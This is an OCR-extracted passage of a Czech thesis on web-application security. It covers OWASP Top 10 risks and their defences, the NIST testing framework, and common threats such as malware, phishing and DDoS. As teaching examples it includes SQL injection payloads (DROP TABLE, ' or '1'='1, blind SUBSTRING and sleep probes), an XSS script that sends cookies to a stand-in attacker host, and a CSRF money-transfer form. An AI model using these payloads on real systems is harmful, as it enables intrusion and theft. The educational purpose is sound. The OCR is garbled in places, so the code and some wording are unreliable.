data do systému. Tyka se pouZziva jednoduché Zranitelnosti je, pokud odpovédnosti Ci

to externii internich textové prikazy ke aplikace posila do dostupnosti. Utoénik

uzivateld. zneuziti syntaxe cilového interpretd neosetfend,  také muZe ovladnout
interpretu. Pfenase¢em nedlvéryhodna data. cilovy server. Mohou byt
injektovani mize byt Obvykle se to tyka ukradena, zménéna
témér kazdy neosetieny dotazli SQL, LDAP, nebo odstranéna
vstup. Xpath, NoSQL, atd. vSechna data.

Zranitelnost Ize snadno
zjistit prochdzenim kodu,
ale hlire jinym
testovanim. S nalezenim
chyb pomohou skenery
a fuzery.

Zde je nékolik tipu, kterymi aplikaci pred injektovanim chranit.

e Nevérit nicemu - PovaZovat uzivatelem poslana data za nedlvéryhodna,
Skodliva. Validovat tato vstupni data funkcemi
(MySQL - mysql_real_escape_string()). Ve formularich povolit pouze nutné
znaky.

e NepouzZivat dynamické SQL dotazy - PouZivat pripravené dotazy,

parametrizované dotazy nebo uloZené procedury, kdykoliv je to moZné.
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e Pravidelné aktualizovat - Opakované se objevuji chyby v zabezpeceni
aplikaci a databazich, diky kterym uto¢nik miiZe injektovat SQL. Proto je
nutné pravidelné instalovat bezpecfnostni zaplaty.

e Firewall - Je dobré pouZivat branu firewall pro webové aplikace (WAF).

e Omezeniutocného prostoru - Nepouzivat databazové funkce, které nejsou
nutné.

e PouZziti prislusnych opravnéni - Pokud je to moZné, nepripojovat se k DB
s administratorskym opravnénim.

e Neprozrazovat vice informaci, nez je nutné - Hackefi se mohou
z chybovych hlaSeni dozvédét mnoho o architekture aplikace. Nepodavat

detailni informace ohledné chybovych hlaseni [34].

Priklad:

Jak uz bylo popsano, bezpecnostni slabina vznika v pripadé, kdy aplikace
vytvari dotazy SQL na zakladé vstupu od uZivatele, ktery neni spravné validovan.
Priklad niZe je velmi jednoduchy a pocita s tim, Ze neprobiha na strané aplikace
validace vstupnich dat. Proménna txtUzivatelld je nactena na zakladé vstupniho
parametru, ktery zada uZivatel sim. Uto¢nikovi by stacilo do formulaie napsat
nasledujici SQL kéd a smazal by tabulku vSech uzivateli.
txtUzivatelld = getRequestString("Uzivatelld");
statementSQL = "SELECT * FROM Users WHERE Userld = " + txtUzivatelld;

Kod expolitu: DROP TABLE Users

DalSim prikladem miiZe byt autentizace uzivatele pomoci nasledujiciho SQL
dotazu. Pokud dotaz vrati hodnotu, znamena to, Ze uZzivatel v databazi existuje
a uzivatel se mlze prihlasit do aplikace. V opa¢ném piipadé ne.

SELECT * FROM Users WHERE Username="$username’ AND Password="$password’

Uto¢nik by mohl ve formulafi napsat do kolonky username a password
nasledujici kod a také by se prihlasil. Podminka je vZdy pravdiva, utocnik by se tedy
prihlasil bez védomosti jména a hesla.

Kéd exploitu: $username =1'or '1'="'1

Kéd exploitu: $password =1"or '1'="1
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Metod Kk Injekci je mnoho, jsou zavislé na konkrétni webové aplikaci
a databazi. Vzhledem k odliSné syntaxi dotazii do riznych typl databazi, cilem
utoc¢nika je zjistit, jakou databazi webova aplikace pouziva. A to mnoha zpiisoby,
napriklad pres neoSetfené chybové hlasky, podle chybové hlasky je dost casto
poznat, jakym databazovym systémem byla generovana.

MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near *" at line 1

Oracle:-

ORA-00933: SQL command not properly ended

Blind SQL Injection se pouziva, pokud je webova aplikace napsana tak, aby
neukazovala Zadné chybové hlaSeni. Napt. vyvojar vytvoril vlastni chybovou
stranku, kterd nerikd nic o strukture dotazu nebo databaze. Aplikace nezobrazi
zadny SQL error, miize zobrazit pouze chybu HTTP 500, 404 nebo pripadné
presmérovat.

Predpokladejme, ze na webové strance
(napt. www.website.com/index.php?id=1) je parametr ID nachylny k SQL injekci.
Uto¢nik predpoklada, Ze dotaz do databaze vypada zhruba takto:

SELECT fieldl, field2, field3 FROM Users WHERE Id="$1d".

Uto¢nik se snaZi odhalit username pomoci vestavénych funkci, kterd ma
prakticky kazda databaze. Pro parametr ID vloZi kus kédu
$Id=1"AND ASCII(SUBSTRING(username,1,1))=97 AND '1'="1.

Tento kod vyuziva funkce SUBSTRING, ktera vezme z pole username pouze
prvni charakter a funkci ASCII k ziskani ASCII hodnoty. Hodnotu 97 inkrementuje,
dokud nezjisti spravné pismeno. Situace se komplikuje, prodluzuje, pokud uZzivatel
pouzivd specialni znaky v uZivatelském jméné. Zménou parametri funkce
SUBSTRING se presouva mezi znaky uZivatelského jména.

Dalsi technika Blind SQL Injekce vyuZiva casového zpozdéni.
Predpokladejme, Ze mame webovou aplikaci napriklad s detailem prispévku.
Url adresa http://www.website.com/post.php?id=10, dotaz do databaze by vypadal
zhruba takto:
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SELECT * FROM posts WHERE id_post=3$id_post

Po vloZeni nasledujiciho kédu do URL adresy mohou nastat dva stavy.
http://www.website.com/post.php?id=10 AND IF(version() like ‘4%’ sleep(15),
false’))—

Dotaz se zpozdi a je zfejma verze databazového systému ,4.x“nebo je potreba
zkusit jiny parametr.

Existuji i jiné typy injekci, vétSina je zavisla na verzi a typu databazového
systému. Takze prvnim krokem je zjiSténi typu a verze DBMS. Injekce cili na rtzné
systémy:ORM(Object Relational Mapping), LDAP (Lightweight Directory Access
Protocol), XML, SSI, XPath, IMAP/SMTP a tak dale.

Chybna autentizace a sprava relace

Plvodci hrozby Vektor ttoku Bezpecnostni slabina Technické dopady

Externi Utocnici i ZneuZitelnost je Rozsiteni je rozsahlé, Tento Utok mlzZe mit za
uzivatele s vlastnimi primérna. Utoénik zjistitelnost priimérna. nasledek napadeni vsech
ucty, kteri se mohou vyuziva slabiny v Vyvojari ¢asto vytvareji  uctl, castym cilem jsou
pokusit ukrast ucty autentizaci nebo funkce vlastni reseni privilegované ucty. Kdyz
jinych uZivatelU. spravy k tomu, aby se autentizace a schémat se Utok podafi, utocnik
vydaval za uzivatele. spravy relace, prestoze  muZe provadét vse, co
je to komplikované. muze délat obét.

Nékdy je lepsi pouzit
preddefinovanych
knihoven.

Obranou je pouZiti sady silného rizeni autentizace a spravy relace. Tato sada
by mé splnovat standardy v Appliacation Security Verification Standard (ASVS).
Rozhrani pro vyvojare by mélo byt jednoduché. Pripadné je moZné vyuzit rozhrani

ESAPI Authenticator and User APIs.
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Cross-Site Scripting (XSS)

Plvodci hrozby Vektor utoku Bezpecnostni slabina Technické dopady
Kdokoliv, kdo ZneuZitelnost je Velmi rozsitena chyba Utoénik mlze unést
mUzZe posilat prdmérna. XSS je typ webovych aplikaci, také  uZivatelskou relaci, ménit
nedlvéryhodnd injektovani, Gtocnik je velmi snadno obsah stranek, vlozit
data do posila skodlivy kéd zjistitelnd. Chyba vznika, Skodlivy obsah,
systému. Tykd se prostiednictvim webové pokud aplikace vklada presmérovat uZivatele
to externi, aplikace, zneuziva se data od uzivatele bez jinam atd.
internich interpret v prohlizeci. patri¢né validace.
uzivatelU i Vektorem utoku miize Rozlisuji se tfi typy
administratord. byt kterykoliv zdroj, zranitelnosti XSS (Stored,

véetné internich jako jsou Reflected, DOM based
napfriklad data z XSS). Nalezeni slabiny je
databaze. vétsinou snadné.

Obrana je stejna jako u predchozi hrozby, nutna validace, escapovani vstupt.
Nékteré automatizované systémy XSS najdou automaticky. Dale je moZné pouZzit
automatické sanitiza¢ni knihovny (OWASP AntiSamy, Java HTML Sanitizier Project).
Tyto knihovny pomohou zajistit, aby uzivatel nepodsunul skodlivy HTML kéd. Dalsi
obranou je pouziti Content security policy (CSP), CSP prohlizeci tika, co vSe se za
soubory mize do stranek nahravat a jak, Ize to konkretizovat az na rizné typy
soubori (skripty, styly, obrazky, fonty, média).

Priklad:

Nasledujici priklad predpoklada, Ze pri konstrukci HTML kédu neni pouZito
escapovani ¢i jinou formu validace.

(String) page += ‘<input name='username’' type="TEXT‘ value=" +
request.getParameter("user"”) + "'>";

Uto¢nik zméni parametr ,user’ na

'><script>document.location= 'http://www.attackersite.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>".

Tento skript odesle relaci obéti na webové stranky utocnik, diky tomu ma moZnost

utocnik unést relaci obéti.
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Nezabezpecené primé odkazy na objekty

Vektor utoku

PUvodci hrozby

Bezpecnostni slabina Technické dopady

Snadno zneuzitelné.
Utoénik s opravnénim
systému jednoduse zméni
hodnotu parametru, ktery
primo odkazuje na objekt,
na jiny objekt systému.

Pavodci hrozby
jsou uzivatelé v
systému, kteri
maji pristup, kam
by mit neméli
nebo by ho méli
mit omezeny.

Rozsireni je bézné,
zjistitelnost snadna.
Aplikace ¢asto pouziva
skutecny nazev nebo kli¢
objektu v prlbéhu
generovani webové
stranky, a ne vidy ovéri
uzivatele, jestli ma
opravnéni pristupovat k
objektu. Bezpecnostni
slabinu Ize odhalit
manipulaci s hodnotami
parametrd. Analyza kodu
ukaze, jestli jsou
autorizace kontrolovany.

Dopad je stfedni, chyba
mUzZe vyustit v ohroZeni
dat, na které odkazuje
parametr.

Obranou je nepouzivat primé odkazy viibec, lepsi metodou je vyuzit neprimé

odkazy na objekty pro kazdého uZzivatele nebo relaci zvlast. V pripadé primého

odkazu na objekt je nutné kontrolovat, zda uzivatel ma na objekt prava.

Priklad:

Tento zjednoduSeny priklad predpoklada, Ze webova aplikace nekontroluje

prava na objekt. Webova aplikace obsahuje webovou stranku, kde jsou vidét

podrobnosti prihlaSeného uZivatele, paramater user_id je numerickou hodnotu

prihlaseného uZivatele.

URL adresa: webapp.com/view_user_information?user_id=20

Uto¢nik by mohl v URL adrese prepsat parametr user_id a zobrazit tak

podrobnosti jiného uzivatele, pokud by se s hodnotou strefil.
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Nezabezpecena konfigurace

Plvodci hrozby Vektor utoku Bezpecnostni slabina Technické dopady

Interni i externi  Zneuzitelnost je snadna. Rozsireni je bézné, Dopad je sttedni, utocnik
uZivatelé, ktefi ~ Utocnik se pokousi vyuzit zjistitelnost snadna. mUze ziskat neopravnény
se mohou snazit vychozich uctd, Nezabezpecena pristup k datim nebo
infiltrovat nechranénych souborll,  konfigurace se tyka funkcim systému.
systém. neopravenych chyb za aplikacniho serveru,
ucelem ziskani webového serveru,
neopravnéného pristupu databaze nebo i vlastniho
do systému. kddu. Tuto slabinu
najdou i automatizované
skenery.

Obranou je pravidelna instalace aktualizaci, bezpe¢nostnich zaplat. Zakazani
nepotrebnych porti, sluzeb, vychozich ucti. Nastaveni spravnych hodnot ve

vyvojarském frameworku.

Expozice citlivych dat

Plvodci hrozby Vektor ttoku Bezpecnostni slabina Technické dopady

Plvodci hrozby  ZneuZitelnost je obtizna. RozSifeni je vzacné, Dopad je vazny, chyba
jsou ti, ktefi Utocnik vétsinou krade zjistitelnost priimérna. Casto ohrozi vSechna
mohou ziskat klice, Castym Uutokem je  Chybou jsou nesifrovana citliva data, ktera méla
pristup k man-in-the-middle nebo citliva data nebo jsou pro byt chranéna.
citlivym datlim.  odcizeni nesifrovanych Sifrovani pouzity slabé

dat ze serveru. klice, algoritmy, techniky

hashovani hesel.

Obrana je prosta. V prvni fazi je nutné urcit, ktera data jsou citliva a ty pak
Sifrovat bezpecnym zplisobem, algoritmem. Nepienaset tato data jako prosty text.

Hesla ukladat v hashované podobé pomoci napt. berypt, PBKDF2 nebo scrypt.
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Chyby v Fizeni arovni pristupu

Plvodci hrozby Vektor utoku Bezpecnostni slabina Technické dopady

Vsichni s ZneuZitelnost je snadna. Rozsifeni je bézné, Dopad je stfedni. Tento
pfistupem do Utoénik, ovéreny zjistitelnost primérna. druh utoku dovoluje
sité. systémem, mlZe upravit Nékdy neni systém utocnikovi ziskat
URL ¢i parametr a dostat nastaven spravné, neopravnény pristup k
se k funkcim, ke kterym  respektive Uroven funkcionalité aplikace.
by pfistup mit nemél. ochrany funkci.

Je dobré ovérit, zda aplikace spravné ovéruje pristup k funkcim (napf.
uzivatelské rozhrani, zda nezobrazuje pristup k neopravnénym funkcim atp.). Tato
chyba se nehleda automatizovanymi nastroji. Aplikace by méla mit konzistentni
a jednoduSe analyzovatelny autorizacni modul, ktery budou vyuzZivat vSechny
funkce. Vhodnou moZnosti je pouZit externi doplnék.

Cross-Site Request Forgery

Plavodci hrozby Vektor utoku Bezpecnostni slabina Technické dopady

Utoénik miize Zneuzitelnost je Rozsireni je bézné a Dopad je stfedni a zavisi
podstréit obsah  primérna. Utoénik obéti  zjistitelnost snadna. na konkrétni aplikacni
do prohlizece podvrhne HTTP Podstatou hrozby je, Ze  funkci, ktera je

obéti atim bez  pozadavek (navede obét, aplikace nedokaze zranitelna.

jejiho védomi aby dotaz uskutecnila, rozlisit, které pozadavky

poslat aniz by o tom védéla). obéf poslala aplikaci

pozadavek na nedmyslné.

webovy server.
Muze se jednat
0 webovou
stranku nebo
jiny zdroj
webového
obsahu.

Vhodnou obranou proti této hrozbé je generovani a kontrolovani tokenti. Ve
vétSiné frameworkd jsou ktomu ucelu prizpisobené funkce, které lze pouzit
a automatizovat tento proces. Tokenem se mysli, pouZiti podepsaného formulare.
Do formulare se vloZi tajna, vygenerovana hodnota serverem a tu si server

zapamatuje. Server pozdéji prijme jen ten formular, ve kterém hodnota odpovida.
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Vyvojar pak voli, zda tuto hodnotu vygenerovat pro kazdy formular jinou
anebo napriklad pii prihlaseni uzivatele si tuto hodnotu zapamatovat a pouzivat ji
po celou dobu uZzivatelské relace. Tento zptisob obrany je napiiklad na Seznamu, kdy
s kazdym odeslanym formulare se posila i hodnota ,hashld”“. Dfive byla tato hodnota
stejna i po novém prihlaseni uzivatele, nyni se generuje nova [35].

Obrana na strané uZivatele existuje, uzivatel by se mél chovat obezretné,
a pokud se hlasi napriklad do internetového bankovnictvi, nemél by mit ve stejném
prohliZeci otevirené dalsi zalozky nebo nova okna, minimalné ne webovych stranek,
ktery vypadaji nediivéryhodné. Nékteré internetové prohlizece disponuji dopliiky
tretich stran, které by meély tuto hrozbu odfiltrovat anebo monitorovat v jaké
podobé se formulate na server odesilaji [35].

Priklad:

Predpokladejme, Ze internetové bankovnictvi, které uzivatel pouziva,
umoziuje zaslat penize na jiny cilovy ucet, pokud je uzivatel prihlasen. Dal$im
predpokladem je, Ze aplikace internetového bankovnictvi nema dostatec¢né

vyreSenou ochranu proti CSRF. Http poZadavek by mohl vypadat takhle:

POST /transfer HTTP/1.1

Host: internetbanking.mybank.com

Cookie: |SESSIONID=random; Domain= internetbanking.mybank.com; Secure;
HttpOnly

Content-Type: application/x-www-form-urlencoded

amount=50.00&bankNumber=12345&accountNumber=6789

UZzivatel se nedohlasi a na jiné zaloZce si otevire webovou stranku utocnika, kde

je formular:

<form action="https://bank.example.com/transfer" method="post">
<input type="hidden"
name="amount"

value="100.00"/>
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<input type="hidden"
name="bankNumber "
value=" attackerBankNumber "/>
<input type="hidden"
name="account”
value="attackerAccountNumber "/>
<input type="submit"
value="Win Ipad Now!"/>

</form>

Uzivatel klikne na odkaz Win Ipad Now a pievede nechténé penize nékomu
jinému. Uto¢nik naSe cookies nezna, nicméné cookies se odeSle zaroveh
s pozadavkem o prevod do internetového bankovnictvi. Tento formuldr ani na
strance nemusi byt, proces miiZe byt automatizovan pomoci JavaScriptu, aniz by si
uZzivatel néc¢eho vSimnul.

Pouziti zranitelnych komponent

Plavodci hrozby Vektor tutoku Bezpecnostni slabina Technické dopady

Plvodci hrozby  Zneuzitelnost je Rozsifeni je rozsahlé, Dopad je stfedni. U této
jsou zranitelné  prdmérna. Utoénik zjistitelnost obtizna. hrozby muze byt dopad
komponenty komponentu nalezne Mnoho aplikaci ma razny, zalezi na
(napf. knihovny). automatickym zranitelné komponenty,  zranitelnosti dané
skenovanim nebo ruénim protoZe je vyvojari komponenty (injektovani,
prochazenim webové pravidelné neaktualizujia XSS atd.).
stranky. nezajimaji se, jak jsou
bezpecné.

Obranou je vyhnout se verzim zranitelnych komponent nebo celym témto
knihovnadm. Vyvojari musi sledovat aktudlni déni, zda se nevyskytla bezpe¢nostni
dira u konkrétnich komponent a pokud ano, jaké ¢asti kodu se to tyka, pripadné jaky
to ma dopad. Sledovani aktudlniho déni byva obcas sloZité, vzhledem ke stalému

vyvoji informacnich technologii.
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NeoSetiené presmérovani

Plvodci hrozby Vektor utoku Bezpecnostni slabina Technické dopady

Kdokoliv, kdo ZneuZitelnost je Rozsifeni je vzacné, Dopad je stiedni. Uto¢nik
mUze podvést pradmérna. Utoénik zjistitelnost snadna. mUzZe nainstalovat
uzivatele tim, Ze priméje obét Webové aplikace casto Skodlivy software nebo
ho priméje nedobrovolné vstoupit presmérovavaji na cizi pfinutit uzivatele k
zaslat pozadavek na nebezpecnou stranku, stranky, nékdy je vyzrazeni citlivych udaj
na vase stranky. protoze Utocnik vytvori presmérovani vytvoreno (hesla, platebni karty,

odkaz na neovérené pres neovéreny parametr atd).

presmérovani, na které a tim utocnikovi

obét klikne. umoznuje tuto slabinu

zneuzit.

Obranou proti tomuto Utoku je prochazeni zdrojové kédu a zaméreni se na
Casti, které se vénuji presmérovani. V téchto ¢astech kédu zkontrolovat, zda cilové
URL je obsahem nékterého parametru. Pokud ano, je to potencionalné slabina,
zranitelné misto. Pro dalsi prozkoumani je také mozné pouzit takzvany webovy

crawler, ktery ukaze, zda stranky generuji presmérovani.

3.3 NIST

Tato kapitola bude vychazet hlavné z dokumentace metodiky, tedy ze zdroje
[31]. NIST (Nation Institue for Science & Technology) je americka agentura, ktera
podle federdlnitho zdkona o rizeni bezpecnosti odpovidd za vyvoj standardi
a pokynt informacni bezpecnosti ve Spojenych statech americkych, véetné urceni
minimalnich pozadavki na federalni informacni systémy. Agentura vyvinula kromé
jiného AES (Advanced Encryption Standart), je to symetricka blokova Sifra, ktera
slouZi pro Sifrovani dat v informatice, pouzivana napriklad pro bezdratové sité
v ramci zabezpeceni WPA2. Dale nespocet generatorti nahodnych cisel. Tato prace
se bude vénovat popisu bezpecnostniho frameworku.

NIST Framework byl vytvoren v roce 2013, pomaha soukromym organizacim
ve Spojenych statech americkych posoudit a zlepSit jejich schopnost predchazet
kybernetickym utokdm, odhalovat je a reagovat na né. Jinymi slovy cilem této
metodiky je poskytnout priivodce bezpecnostniho testovani organizacim, které maji
v planu bezpecnostni analyzu nebo vyvoj. Metodika obsahuje prakticka doporuceni

pro navrh implementace a udrzbu technickych informaci, tykajicich se procesii
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a postupti, poskytuje piehled o klicovych prvcich béhem testovani s dirazem na
specifické techniky, jejich vyhody, nevyhody a doporuceni béhem jejich pouziti.
Jedna se napriklad o nalezeni zranitelnosti v systému nebo siti.

NIST Framework slouZi pro mnoho firem ve Spojenych statech americkych
jako objektivni prehled, jak na tom s kybernetickou bezpecnosti jsou. Doporuceni
obsaZené v metodice se hodi pro privatni i verejny sektor. Odhaduje se, Ze vice nez
30 % organizaci ve Spojenych statech pouziva tento framework jako standartni
ochranu a vice nez 50 % organizaci pouziva tento framework jako méritko pro
kybernetickou bezpec¢nost. Metodika urcuje i jakym zptsobem investovat finance do
zabezpeceni, aby byly tam, kde je to aktualné potireba. Rady, doporuceni obsazené
v metodice jsou aplikovatelné témér na vSechny organizace [32].

Metodika NIST je rozc¢lenéna celkem do 8 kapitol a piilohy A - G. Pribéh celého
testovani se déli do nékolika fazi.

Planovani testu, priizkum, tato faze je kritickd pro uspésné posouzeni
bezpecnosti, v této fazi se shromazd'uji diilezité informace tykajici se testovani -
aktiva, hrozby vii¢i nim, bezpec¢nostni opatieni. Hodnoceni bezpecnosti by mélo byt
povazovano jako kterykoliv jiny projekt, projekt by mél obsahovat plan fizeni,
rozsah pozadavki, tymové role, odpovédnosti, faktory kuspéchu, predpoklady
a ¢asovy plan. Prizkumem je mysleno studovani internich smérnic, tykajicich se
bezpecnosti. Prochazeni obsahu logli prvkd vrozsahu a studovani jejich
konfigurac¢nich soubori.

Provedeni testu, cilem této faze je identifikace zranitelnych mist a ovéreni,
zda zranitelna opravdu jsou. A také volba metody, techniky podle typu bezpecnostni
slabiny. Tuto fazi je potfeba provadét s rozvahou a mit na paméti, Ze mize mit za
nasledek odstaveni celého systému. V produkénim prostiedi to miiZe byt problém.

Po skonceni testuje nutné se zamérit na analyzu vysledki, tedy
identifikovanych zranitelnych mist a urceni jejich hlavnich pricin, stanoveni
doporuceni zlepSeni systému a vypracovani zavérecné zpravy. DiileZitou, nezbytnou
soucasti jsou dialogy s odborniky v organizaci za ucelem pochopeni fungovani
bezpecnostnich mechanismu.

V neposledni fadé metodika obsahuje popis softwarového vybaveni pro

identifikaci cila a jejich slabin. Konkrétné se jedna o live distribuci CD BackTrack,
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v dnesni dobé Kali Linux, ktera nabizi vice neZ Sest set nastrojlii pro vyhledavani

v siti, scanning a sniffing, password cracking a tak dale.

3.4 Shrnuti

Jak je z predchozich podkapitol vidét, ve vSech penetracnich standardech jsou

znacné rozdily. Infrastruktura nebo systém, na které testy miri, nejsou homogenni,

vvvvvv

v této kapitole. Autor prace poznatky volil dle svého uvazeni a prizkumu.

30



4 Vybrané kybernetické hrozby

Nasledujici kapitola se bude tykat béZné se vyskytujicich internetovych hrozeb,
ohroZujicich systémy a uzivatele. Neexistuje jednoznacné déleni kybernetickych
hrozeb, miiZe se jednat o Utoky softwarové a hardwarové, lokdlni a vzdalené, také

se déli podle charakteru nebo formy utoku.

4.1 Malware

Malware je oznaceni pro skupinu Skodlivych programd, které maji za cil poskodit,
znepristupnit nebo ukrast data. Také se miiZe jednat o program, ktery uto¢nikovi
zptistupni zadni vratka do systému nebo sité. Utok ma tedy dopad na divérnost,
integritu i dostupnost dat.

Existuji rizné druhy malwaru, které se daji délit podle chovani a cile. Jsou
rizné zpusoby, jak pocitac infikuji. Mohou byt soucasti jiného programu, prilohy
v emailu, souboru z internetu nebo webové stranky, na kterou uzivatel dobrovolné
vstoupi. NiZe jsou nastinény zptlisoby, kterymi se Skodlivy program do pocitace

nejcastéji dostane.

Kliknutim na Skodlivé reklamy na webu.
e Stihnutim skodlivych e-mailovych priloh.
e Instalaci programu, kterého je malware soucasti.

e Ucasti na sdileni soubort na P2P siti.

Dva z nejcastéjsich typl malwaru jsou viry a Cervy. Tyto typy programi jsou
schopny replikovat se samy a mohou S$irit své kopie. Aby byl malware klasifikovan
jako virus nebo cerv, musi mit schopnost Sirit se. Rozdil spociva v tom, Ze Cerv
pracuje vice ¢i méné nezavisle na jinych souborech, zatimco virus zavisi na Sifeni
samotneho hostitelského programu. Tyto a ostatni typy jsou popsany nize [13].

Ransom malware nebo ransomware je typ malwaru, ktery brani uzivatelim
v pristupu k jejich systémovym nebo osobnim soubortim. Dokud uzivatel nezaplati
vykupné. Dnes autofi ransomwaru vyZzaduji, aby platby byly zasilany pomoci
kryptomény nebo kreditni karty. NejCasnéjsi varianty ransomware byly vyvinuty

v pozdnich osmdesatych létech.
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Pocitacové cervy se replikuji a $ifi samy o sobé bez jakékoli lidské interakce,
coZ je presné to, co je Cini tak nebezpecnymi. Jakmile se Cerv dostane do pocitace,
zaCne kopirovat sdm sebe a $ifit se do jesté vice pocitacli po siti pomoci riznych
technik.

Dvé nejcastéjsi znameni pritomnosti ¢erva v pocitaci jsou problém s vykonnosti
pocitace nebo nezvyklym chovanim pocitace. Prvni znameni souvisi s replikaci
Cerva. Replikace vytéZuje systémové prostiedky, a tak se pocitac¢ stava pomalym.
Nezvyklym chovanim pocitace jsou mysleny neobvyklé hlasky a ikony, neobvyklé
zmény v prostiedi operac¢niho systému atp.

Trojsky malware je jedna z nejCastéjSich forem malwaru. Je to forma
Skodlivého programu, ktery se ¢asto maskuje jako legitimni nastroj, ktery uzivatele
piiméje Kk jeho instalaci. Jakmile je trojsky malware nainstalovan v systému, mtize
provadét v podstaté cokoliv. Zachycovat ptihlasovaci ddaje, snimky obrazovky,
prochazet soubory a tak dale.

Jeho jméno pochazi z pribéhu starovéké Tréji, kde Rekové byli skryti uvnitf
obiiho dfevéného koné. Jakmile byl kiifi uvnitt méstskych hradeb, Rekové vylezli
a otevreli branu zbytku armady. Tento malware se chova v podstaté stejné, vpliZi se
do systému a zacne vykonavat instrukce, ke kterym byl urcen.

Program typu bot je Skodlivy program, ktery pro majitele provadi néjakou
rutinni ¢innost - obvykle sbira, odesila a zpracovava pozadavky. Zombie sit je
skupina infikovanych pocitact timto typem Skodlivého programu. Vydanim piikazi
vSem infikovanym pocitaclim v zombie siti mohou Utocnici provadét koordinované
rozsahlé utoky, vcetné utokd DDoS , které vyuzivaji silu velké skupiny zatizeni
(pocitaci) k zaplaveni obéti provozem. Botnety se chovaji necinné, pokud zrovna
neutoci. Uzivatel si proto nevsSimne, Ze jeho stroj je pod kontrolou uto¢nika.

Uto¢nici ovladaji kolem sedmi procent z celkového poétu poéitadli na svété,
odhaduji experti. Relativné mala botnetova sit’ (kolem 1000 pocitacii) zvladne plnit
relativné mnoho ukold. VétSina téchto siti je pouZzivana pro rozesilani spamu. Pro
spammery je jednodussi rozesilat spam z velkého mnozstvi pocitaci. Filtrovani

posty je v tomto pripadé slozité a je zapotiebi kvalitnich anispamovych filtrt [14].
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4.2 Phishing

Phishing spocivd vrozesilani podvodné komunikace. Podvodnad komunikace
se tvari, Ze prichazi z renomovaného, zndmého zdroje. Obvykle komunikace probiha
prostrednictvim e-mailu. Cilem je ukrast citliva data, jako jsou uidaje o kreditnich
kartach, prihlaSovaci didaje nebo se snaZzi nainstalovat malware do pocitace obéti.
Utok se vét$inou provadi vloZenim odkazu do e-mailu, ktery obét zavede na webové
stranky utocnika. UZivatel zde vyplni formular, ze kterého utocnik ziska citliva data.

Utok ma tedy dopad na diivérnost dat.

4.3 SQL Injection

SQL Injection funguje na principu vloZeni kédu do neoSetfeného vstupu aplikace.
NeoSetfenym vstupem byva formuldar nebo URL adresa. Tim vznikd propojeni
aplika¢ni a databazové vrstvy. Utok vyuziva bezpeénostni chyby v aplikacich. Timto
stylem hacker mfiZe &ist i ménit data v databazi. Utok ma tedy dopad na déivérnost,

integritu i dostupnost dat.

4.4 Denial-of-service attack (DDoS)

DDoS je typ utoku, pti kterém se tito¢nik snazi online sluzbu prehltit provozem, aby
prestala fungovat a stala se nepfistupnd pro ostatni uzivatele. MliZe se jednat
o internetovou stranku nebo aplikaci. Ksamotnému utoku se casto vyuziva
botnetova sit, tedy sit kompromitovanych zafizeni. Utok ma tedy dopad na

dostupnost dat.
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Botnetova sit’

Server

Utoénik

Obrazek 5 Denial-of-service attack
Zdroj: Vlastni zpracovani

45 MITM = Man in the middle attack

Tento utok spocivd ve vmiseni se do komunikace mezi dvéma Kklienty, ito¢nik
sleduje nebo manipuluje sitovou komunikaci. Infiltrovana komunikace byva
nasledné zbavena veskerého Sifrovani, aby pro utocnika bylo snazs$i sledovat
provoz. Na obrazku niZe je vidét princip fungovani. Utok ma tedy dopad na

divérnost a integritu dat.

. -
i ¢
X

Normal communication

Obrazek 6 Man-In-The-Middle
Zdroj: [27]

4.6 DNS Tunneling

DNS tunelovani funguje na principu zakédovani dat jinych programi nebo

protokolu do dotazli a odpovédi DNS. Hackefi pouZzivaji rizné nastroje pro
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tunelovani DNS, je zndmo nékolik malwarli, které pouZzivaji DNS jako svij
komunikaé¢ni kanal. Utok ma tedy dopad na divérnost, integritu i dostupnost dat.
Mnoho organizaci o této hrozbé nevi, prestoze v poslednich nékolika letech
doslo k radé naruSeni zabezpeceni pomoci tunelovani DNS. ProtoZe DNS je zridka
monitorovano, hackeri jsou schopni proniknout, aniZ by na sebe nékoho upozornili.

Proto je dobré se na DNS zamérit a monitorovat provoz. [15]

4.7 Zero-day exploit

Zero-day exploit je kyberneticky utok, ktery cili na zranitelnost softwaru, ktera neni
znama dodavateli softwaru ani dodavatelim antivirovych programf. Uto¢nik
vyuZije zranitelnosti softwaru predtim, neZ je vydana aktualizace, ktera zranitelnost
opravi. Utok ma tedy dopad na diivérnost, integritu i dostupnost dat.

Souvisejicim pojmem je zero-day malware, coZ je Skodlivy program, proti

kterému vyrobce antiviru jesté nevytvoril ochranu.

4.8 Ochrana proti kybernetickym hrozbam

Antivirovy program

Antivirovy program slouZi jako ochrana proti Skodlivym programim.
Obvykle se instaluje na pocitace, servery nebo mobilni zatizeni. Na trhu existuji jak
placené, tak neplacené nastroje. Pravidelné aktualizace jsou diileZité, aktualizace
obsahuji definice, které stroj ochranuji proti novym typtim skodlivych programi.

Vétsina resSeni na trhu provadi detekci Skodlivého programu v redlném case,
a pokud néjaky najde, odstrani jej. Nékteré neplacené verze dokazi pouze pocitac
prohledat, pokud hrozbu najdou, odstrani ji.

Antivir obvykle vykonava tyto zakladni funkce:

e Skenovani adresaii nebo specifickych soubord, zda neobsahuji znamé
Skodlivé vzory, které by naznacovaly pritomnost Skodlivého softwaru.
e Umoznit uzivateliim naplanovat kontroly tak, aby se spoustély automaticky.

e Umoznit uzivatelim zahdjit nové kontroly kdykoli.
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e Odebrani Skodlivého softwaru, ktery detekuji. Nékteré antivirové programy
tento proces délaji automaticky na pozadi, zatimco jiné informuji uZivatele

o riziku a zeptaji se, zda ma byt soubor smazan.

Pro komplexni kontrolu systémli musi byt antivirovému softwaru vétSinou
udélen privilegovany pristup k celému systému. Diky tomu je samotny antivirovy
software spoletnym cilem utocnikli. Cilem utoku tedy nékdy byva i samotny
antivirovy program [17].

IDS/IPS

IDS (Intrusion Detection System) je obranny systém, ktery monitoruje sitovy
provoz a snazi se odhalit podezielé aktivity. Systém detekce naruseni (IDS)
identifikuje podeziely provoz na zdkladé urcitych vzorct. Funguje podobné jako
antivirovy software, IDS porovnava vzorce provozu s riznymi zndmymi Skodlivymi
vzorci provozu (které jsou ¢asto aktualizovany). IDS v podstaté vyhodnocuje provoz,
aby zjistil, zda odpovida znamym utokiim. Pokud systém IDS najde podezielou
aktivitu, upozorni spravce site.

Systém prevence naruSeni (IPS) posouva IDS o krok dale. NejenZe detekuje
Skodlivou aktivitu, ale také podnikne kroky k zamezeni utoku (kromé upozornéni
